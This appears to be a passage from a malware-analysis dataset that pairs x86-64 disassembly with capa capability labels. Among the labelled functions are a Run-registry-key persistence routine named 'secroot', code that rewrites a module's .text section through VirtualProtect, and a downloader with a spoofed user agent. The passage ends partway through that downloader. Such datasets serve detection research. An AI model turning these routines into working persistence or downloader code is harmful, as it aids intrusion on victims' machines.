joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54a9c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x54aba0
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x88], r9
mov qword [rsp + 0x90], r10
lea rax, [0x0064ce20]
call fcn.0040d420
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor edx, edx
xor ebx, ebx
jmp 0x54aa2b
mov rax, rdx
mov rcx, r10
mov rdx, qword [rsp + 0x30]
mov rbx, r8
mov rsi, qword [rsp + 0x60]
cmp rsi, rcx
jle 0x54ab59
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rdx + 0x38]
mov rax, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
call rsi
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rdx + 0x38]
mov rax, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x40]
mov ecx, 4
mov rdi, rcx
call rsi
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rdx + 0x30]
mov rax, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x38]
xor ecx, ecx
mov rdi, qword [rsp + 0x30]
call rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rcx
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rdx + 0x20]
mov rax, qword [rsp + 0x78]
call rsi
mov rdx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x58]
mov r8, qword [rsp + 0x38]
mov r9, qword [rsp + 0x60]
mov r10, qword [rsp + 0x20]
xor eax, eax
jmp 0x54ab80
mov rdx, qword [rsp + 0x40]
movzx r11d, byte [rdx + 3]
lea r12d, [r11 + 1]
mov byte [rdx + 3], r12b
nop word [rax + rax]
cmp r11b, 0xff
jne 0x54aa1d
movzx r11d, byte [rdx + 2]
lea r12d, [r11 + 1]
mov byte [rdx + 2], r12b
nop word [rax + rax]
cmp r11b, 0xff
jne 0x54aa1d
movzx r11d, byte [rdx + 1]
lea r12d, [r11 + 1]
mov byte [rdx + 1], r12b
nop word [rax + rax]
cmp r11b, 0xff
jne 0x54aa1d
movzx r11d, byte [rdx]
inc r11d
mov byte [rdx], r11b
jmp 0x54aa1d
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
movzx r11d, byte [r10 + rsi]
movzx r12d, byte [r8 + rax]
xor r11d, r12d
mov byte [rsi + r10], r11b
inc rax
inc r10
nop word [rax + rax]
cmp rdx, rax
jle 0x54aae8
cmp r9, r10
jle 0x54aae8
ja 0x54ab63
mov rax, r10
mov rcx, r9
call fcn.00462da0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x40], r10
call fcn.004606c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
mov r10, qword [rsp + 0x40]
jmp fcn.0054a9c0
Function at 0x5520e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x552333
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x58], rax
add qword [rax + 0x68], rcx
mov rsi, qword [rax + 0x60]
test rsi, rsi
jle 0x552210
nop dword [rax + rax]
cmp rsi, 0x40
ja 0x552325
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbx
lea r8, [rsi - 0x40]
mov r9, r8
neg r8
cmp rcx, r8
cmovl r8, rcx
mov qword [rsp + 0x28], r8
sar r9, 0x3f
and r9, rsi
lea rsi, [rax + r9]
lea rsi, [rsi + 0x20]
cmp rbx, rsi
je 0x552182
mov rax, rsi
mov rcx, r8
call fcn.00463700
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov r8, qword [rsp + 0x28]
mov rsi, qword [rax + 0x60]
add rsi, r8
mov qword [rax + 0x60], rsi
cmp rsi, 0x40
jne 0x5521ec
mov qword [rsp], rax
lea rcx, [rax + 0x20]
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], 0x40
mov qword [rsp + 0x18], 0x40
call fcn.00552880
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x60], 0
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov r8, qword [rsp + 0x28]
cmp rcx, r8
jb 0x55231c
sub rdi, r8
mov rsi, rcx
sub rcx, r8
mov r9, rdi
neg rdi
sar rdi, 0x3f
and r8, rdi
add rbx, r8
jmp 0x552220
mov rsi, rcx
mov r9, rdi
nop word [rax + rax]
nop
cmp rcx, 0x40
jl 0x5522c0
mov rdi, rcx
and rcx, 0xffffffffffffffc0
cmp r9, rcx
jb 0x552314
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x20], rcx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], r9
call fcn.00552880
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x20]
cmp rcx, rax
jb 0x55230f
mov rdx, qword [rsp + 0x38]
mov rsi, rax
sub rax, rdx
mov rdx, rcx
sub rcx, rsi
sar rax, 0x3f
and rax, rdx
and rax, 0xffffffffffffffc0
mov rdx, qword [rsp + 0x40]
lea rbx, [rdx + rax]
mov rax, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
nop dword [rax]
test rcx, rcx
je 0x5522fe
cmp rcx, 0x40
mov edx, 0x40
cmovl rdx, rcx
lea rdi, [rax + 0x20]
cmp rbx, rdi
je 0x5522fa
mov qword [rsp + 0x38], rdx
mov rax, rdi
mov rcx, rdx
call fcn.00463700
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x68]
mov qword [rax + 0x60], rdx
mov rax, rsi
xor ebx, ebx
xor ecx, ecx
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
call fcn.00462e60
mov rdx, r9
call fcn.00462e20
mov rax, r8
nop
call fcn.00462e60
mov rax, rsi
mov ecx, 0x40
call fcn.00462e60
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.004606c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.005520e0
Function at 0x57e040
Capabilities:
Parse credit card information

Disassembly:
lea ecx, [rax - 0x61]
cmp cl, 0x19
jbe 0x57e058
lea ecx, [rax - 0x41]
cmp cl, 0x19
jbe 0x57e058
lea ecx, [rax - 0x30]
cmp cl, 9
ja 0x57e060
xor eax, eax
ret
cmp rbx, 3
je 0x57e06c
cmp rbx, 4
jne 0x57e099
cmp al, 0x2c
ja 0x57e086
lea ecx, [rax - 0x21]
cmp cl, 1
jbe 0x57e096
cmp al, 0x24
je 0x57e096
nop dword [rax]
cmp al, 0x26
jae 0x57e096
jmp 0x57e099
lea ecx, [rax - 0x3a]
cmp cl, 4
jbe 0x57e096
cmp al, 0x5b
je 0x57e096
cmp al, 0x5d
jne 0x57e099
xor eax, eax
ret
cmp al, 0x2f
ja 0x57e0d2
nop dword [rax]
cmp al, 0x26
ja 0x57e0b1
cmp al, 0x24
je 0x57e0f1
cmp al, 0x26
je 0x57e0f1
jmp 0x57e16b
lea ecx, [rax - 0x2b]
cmp cl, 1
jbe 0x57e0f1
lea ecx, [rax - 0x2d]
nop dword [rax]
cmp cl, 1
jbe 0x57e168
cmp al, 0x2f
je 0x57e0f1
jmp 0x57e16b
cmp al, 0x3d
ja 0x57e0e9
lea ecx, [rax - 0x3a]
cmp cl, 1
jbe 0x57e0f1
nop
cmp al, 0x3d
je 0x57e0f1
jmp 0x57e16b
lea ecx, [rax - 0x3f]
cmp cl, 1
ja 0x57e160
cmp rbx, 2
jg 0x57e127
cmp rbx, 1
je 0x57e121
nop dword [rax]
cmp rbx, 2
jne 0x57e16b
cmp al, 0x2f
je 0x57e112
cmp al, 0x3b
je 0x57e112
cmp al, 0x2c
jne 0x57e119
mov ecx, 1
jmp 0x57e11e
cmp al, 0x3f
sete cl
mov eax, ecx
ret
cmp al, 0x3f
sete al
ret
cmp rbx, 5
jne 0x57e14a
cmp al, 0x40
je 0x57e139
cmp al, 0x2f
je 0x57e139
cmp al, 0x3f
jne 0x57e142
mov ecx, 1
nop
jmp 0x57e147
cmp al, 0x3a
sete cl
mov eax, ecx
ret
cmp rbx, 6
je 0x57e159
cmp rbx, 7
jne 0x57e16b
xor eax, eax
ret
mov eax, 1
ret
cmp al, 0x5f
je 0x57e168
cmp al, 0x7e
jne 0x57e16b
xor eax, eax
ret
cmp rbx, 7
jne 0x57e181
cmp al, 0x21
je 0x57e17d
lea ecx, [rax - 0x28]
cmp cl, 2
ja 0x57e181
xor eax, eax
nop
ret
mov eax, 1
ret
Function at 0x583600
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x583853
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x58], rax
add qword [rax + 0x58], rcx
mov rsi, qword [rax + 0x50]
test rsi, rsi
jle 0x583730
nop dword [rax + rax]
cmp rsi, 0x40
ja 0x583845
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbx
lea r8, [rsi - 0x40]
mov r9, r8
neg r8
cmp rcx, r8
cmovl r8, rcx
mov qword [rsp + 0x28], r8
sar r9, 0x3f
and r9, rsi
lea rsi, [rax + r9]
lea rsi, [rsi + 0x10]
cmp rbx, rsi
je 0x5836a2
mov rax, rsi
mov rcx, r8
call fcn.00463700
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov r8, qword [rsp + 0x28]
mov rsi, qword [rax + 0x50]
add rsi, r8
mov qword [rax + 0x50], rsi
cmp rsi, 0x40
jne 0x58370c
mov qword [rsp], rax
lea rcx, [rax + 0x10]
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], 0x40
mov qword [rsp + 0x18], 0x40
call fcn.00583b40
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x50], 0
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov r8, qword [rsp + 0x28]
cmp rcx, r8
jb 0x58383c
sub rdi, r8
mov rsi, rcx
sub rcx, r8
mov r9, rdi
neg rdi
sar rdi, 0x3f
and r8, rdi
add rbx, r8
jmp 0x583740
mov rsi, rcx
mov r9, rdi
nop word [rax + rax]
nop
cmp rcx, 0x40
jl 0x5837e0
mov rdi, rcx
and rcx, 0xffffffffffffffc0
cmp r9, rcx
jb 0x583834
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x20], rcx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], r9
call fcn.00583b40
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x20]
cmp rcx, rax
jb 0x58382f
mov rdx, qword [rsp + 0x38]
mov rsi, rax
sub rax, rdx
mov rdx, rcx
sub rcx, rsi
sar rax, 0x3f
and rax, rdx
and rax, 0xffffffffffffffc0
mov rdx, qword [rsp + 0x40]
lea rbx, [rdx + rax]
mov rax, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
nop dword [rax]
test rcx, rcx
je 0x58381e
cmp rcx, 0x40
mov edx, 0x40
cmovl rdx, rcx
lea rdi, [rax + 0x10]
cmp rbx, rdi
je 0x58381a
mov qword [rsp + 0x38], rdx
mov rax, rdi
mov rcx, rdx
call fcn.00463700
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x68]
mov qword [rax + 0x50], rdx
mov rax, rsi
xor ebx, ebx
xor ecx, ecx
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
call fcn.00462e60
mov rdx, r9
call fcn.00462e20
mov rax, r8
nop
call fcn.00462e60
mov rax, rsi
mov ecx, 0x40
call fcn.00462e60
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.004606c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.00583600
Function at 0x595660
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5957b4
sub rsp, 0x78
mov qword [rsp + 0x70], rbp
lea rbp, [rsp + 0x70]
mov qword [rsp + 0x88], rbx
mov rcx, qword [rax]
mov qword [rsp + 0x20], rcx
movups xmm0, xmmword [rax + 8]
movups xmmword [rsp + 0x28], xmm0
movups xmm0, xmmword [rax + 0x18]
movups xmmword [rsp + 0x38], xmm0
lea rax, [rsp + 0x20]
nop
call fcn.00594a80
mov qword [rsp + 0x10], 0
movups xmmword [rsp + 0x48], xmm15
movups xmmword [rsp + 0x50], xmm15
movups xmmword [rsp + 0x60], xmm15
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x50], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x58], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x68], rcx
mov rcx, qword [rsp + 0x88]
xor eax, eax
jmp 0x595704
inc rax
mov rcx, rbx
cmp rax, 5
jge 0x595755
imul rdx, rax, 0x33
mov rsi, rdx
sar rdx, 0x3f
shr rdx, 0x3d
add rdx, rsi
sar rdx, 3
mov rdi, rdx
shl rdx, 3
sub rsi, rdx
cmp rsi, 0x40
sbb rdx, rdx
mov r8, qword [rsp + rax*8 + 0x48]
mov rbx, rcx
mov rcx, rsi
shl r8, cl
and r8, rdx
mov qword [rsp + 0x10], r8
mov rdx, qword [rsp + 0x10]
mov qword [rsp + 0x18], rdx
xor ecx, ecx
jmp 0x595780
test byte [rcx], al
mov rax, rcx
mov ebx, 0x20
mov rcx, rbx
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
movzx r8d, byte [rbx + rsi]
or r8d, edx
mov byte [rbx + rsi], r8b
inc rcx
nop dword [rax + rax]
cmp rcx, 8
jge 0x5956fe
movzx edx, byte [rsp + rcx + 0x18]
lea rsi, [rdi + rcx]
cmp rsi, 0x20
jge 0x5956fe
test byte [rbx], al
nop
cmp rsi, 0x20
jb 0x59576c
mov rax, rsi
mov ecx, 0x20
call fcn.00462da0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
nop
call fcn.004606c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00595660
Function at 0x5d6460
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
movd xmm0, dword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movdqu xmm1, xmmword [rsi]
movdqu xmm2, xmmword [rsi + 0x10]
movdqu xmm3, xmmword [rsi + 0x20]
movdqu xmm4, xmmword [rsi + 0x30]
pxor xmm1, xmm0
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jb 0x5d6535
movdqa xmm0, xmmword [0x0070c110]
movdqa xmm5, xmm1
movdqa xmm6, xmm2
movdqa xmm7, xmm3
movdqa xmm8, xmm4
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm2, xmm0, 0
pclmulqdq xmm3, xmm0, 0
pclmulqdq xmm4, xmm0, 0
movdqu xmm11, xmmword [rsi]
movdqu xmm12, xmmword [rsi + 0x10]
movdqu xmm13, xmmword [rsi + 0x20]
movdqu xmm14, xmmword [rsi + 0x30]
pclmulqdq xmm5, xmm0, 0x11
pclmulqdq xmm6, xmm0, 0x11
pclmulqdq xmm7, xmm0, 0x11
pclmulqdq xmm8, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm2, xmm6
pxor xmm3, xmm7
pxor xmm4, xmm8
pxor xmm1, xmm11
pxor xmm2, xmm12
pxor xmm3, xmm13
pxor xmm4, xmm14
add rdi, 0x40
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jge 0x5d64a1
movdqa xmm0, xmmword [0x0070c120]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm2
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm3
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm4
cmp rcx, 0x10
jb 0x5d65b7
movdqu xmm10, xmmword [rsi]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm10
sub rcx, 0x10
add rsi, 0x10
cmp rcx, 0x10
jge 0x5d658b
pcmpeqb xmm3, xmm3
pclmulqdq xmm0, xmm1, 1
psrldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm2, xmm1
movq xmm0, qword [0x0070baa8]
psrlq xmm3, 0x20
psrldq xmm2, 4
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
movdqa xmm0, xmmword [0x0070c580]
movdqa xmm2, xmm1
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0x10
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
pextrd eax, xmm1, 1
mov dword [rsp + 0x28], eax
ret
Function at 0x5e3e60
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5e400f
sub rsp, 0x78
mov qword [rsp + 0x70], rbp
lea rbp, [rsp + 0x70]
mov qword [rsp + 0x80], rax
xor ecx, ecx
jmp 0x5e3e87
inc rcx
cmp rbx, rcx
jle 0x5e4001
movzx edx, byte [rax + rcx]
cmp dl, 0x80
jb 0x5e3e84
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x80], rax
call fcn.00571460
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x58], rsi
test rsi, rsi
mov rdx, qword [rsp + 0x88]
cmovne rbx, rdx
mov rdx, qword [rsp + 0x80]
cmovne rax, rdx
mov rdx, qword [0x00874b50]
mov r8, rax
mov rax, rdx
mov r9, rbx
mov rbx, r8
mov rcx, r9
mov edi, 1
call fcn.005dff00
mov rdx, qword [rsp + 0x58]
test rdx, rdx
mov rdx, qword [rsp + 0x48]
mov esi, 0
cmovne rdx, rsi
mov r8, qword [rsp + 0x60]
mov r9d, 0
cmovne r8, r9
nop dword [rax]
test rcx, rcx
jne 0x5e3ff0
test rdx, rdx
je 0x5e3fe1
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x50], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00402ec0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x5e3fab
xor eax, eax
lea rbx, [0x0070b8a8]
mov ecx, 1
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
lea r8, [0x00692ef2]
mov r9d, 2
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x48]
call fcn.0044cf60
jmp 0x5e3fd2
xor eax, eax
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
lea rdi, [0x00692e3d]
mov esi, 1
mov r8, qword [rsp + 0x60]
mov r9, qword [rsp + 0x48]
call fcn.0044ce80
xor ecx, ecx
xor edi, edi
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
nop
ret
xor ecx, ecx
mov rdi, r9
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
mov rax, r9
mov rbx, rsi
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
nop
ret
xor ecx, ecx
xor edi, edi
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004606c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.005e3e60
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000e270]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000e280]
mov dword [rax], 1
mov rax, qword [0x14000e290]
mov dword [rax], 1
mov rax, qword [0x14000e220]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000e260]
mov dword [0x14001100c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000e340]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000e320]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000e1d0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001494
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 0x2c], 0
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
mov qword [rbp - 0x18], rax
movabs rax, 0x506c617574726956
mov qword [rbp - 0x3b], rax
movabs rax, 0x746365746f7250
mov qword [rbp - 0x34], rax
lea rax, [0x14000c010]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp - 0x3b]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x20], rax
mov dword [rbp - 4], 0
jmp 0x140001630
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
lea rcx, [rdx + rax]
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
lea rdx, str..text
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000162c
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x28]
mov edx, dword [rdx + 8]
mov r10d, edx
mov rdx, qword [rbp - 0x28]
mov edx, dword [rdx + 0xc]
mov ecx, edx
mov rdx, qword [rbp + 0x10]
add rdx, rcx
mov rcx, rdx
lea rdx, [rbp - 0x2c]
mov r9, rdx
mov r8d, 0x40
mov rdx, r10
call rax
mov eax, dword [rbp - 0x2c]
test eax, eax
jne 0x1400015ab
mov eax, 0xffffffff
jmp 0x140001649
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x10]
add rax, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x20]
mov ecx, dword [rbp - 0x2c]
mov rdx, qword [rbp - 0x28]
mov edx, dword [rdx + 8]
mov r11d, edx
mov rdx, qword [rbp - 0x28]
mov edx, dword [rdx + 0xc]
mov r8d, edx
mov rdx, qword [rbp + 0x10]
add rdx, r8
mov r10, rdx
lea rdx, [rbp - 0x2c]
mov r9, rdx
mov r8d, ecx
mov rdx, r11
mov rcx, r10
call rax
mov eax, dword [rbp - 0x2c]
test eax, eax
jne 0x140001625
mov eax, 0xffffffff
jmp 0x140001649
mov eax, 0
jmp 0x140001649
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 4], eax
jl 0x14000151a
mov eax, 0xffffffff
add rsp, 0x60
pop rbp
ret
Function at 0x1400021d1
Capabilities:
Persist via run registry key

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call sym.initi_hashing__
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x140002273
mov r10, qword [0x1400114d0]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.secroot
mov rcx, rax
call r10
mov dword [rbp - 4], eax
mov rdx, qword [0x140011548]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
cmp dword [rbp - 4], 0
jne 0x14000226c
mov eax, 0
jmp 0x140002278
mov eax, 1
jmp 0x140002278
mov eax, 1
add rsp, 0x40
pop rbp
ret
Function at 0x14000249b
Capabilities:
Reference http user-agent string
Write file on windows

Disassembly:
push rbp
mov eax, 0x1050
call fcn.140005830
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xfe0], rcx
mov qword [rbp + 0xfe8], rdx
call sym.wininet_hash__
mov rax, qword [0x140011558]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_114.0.0.0_Safari_537.36
call rax
mov qword [rbp + 0xfc8], rax
cmp qword [rbp + 0xfc8], 0
jne 0x140002528
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error_al_abrir_la_sesin_de_Internet_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov eax, 1
jmp 0x1400026d7
mov r10, qword [0x1400114c0]
mov rdx, qword [rbp + 0xfe0]
mov rax, qword [rbp + 0xfc8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov qword [rbp + 0xfc0], rax
cmp qword [rbp + 0xfc0], 0
jne 0x1400025ae
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error_al_abrir_la_URL_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rdx, qword [0x140011588]
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x1400026d7
mov rax, qword [rbp + 0xfe8]
lea rdx, [0x14000d4d6]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xfb8], rax
cmp qword [rbp + 0xfb8], 0
jne 0x140002625
mov ecx, 2
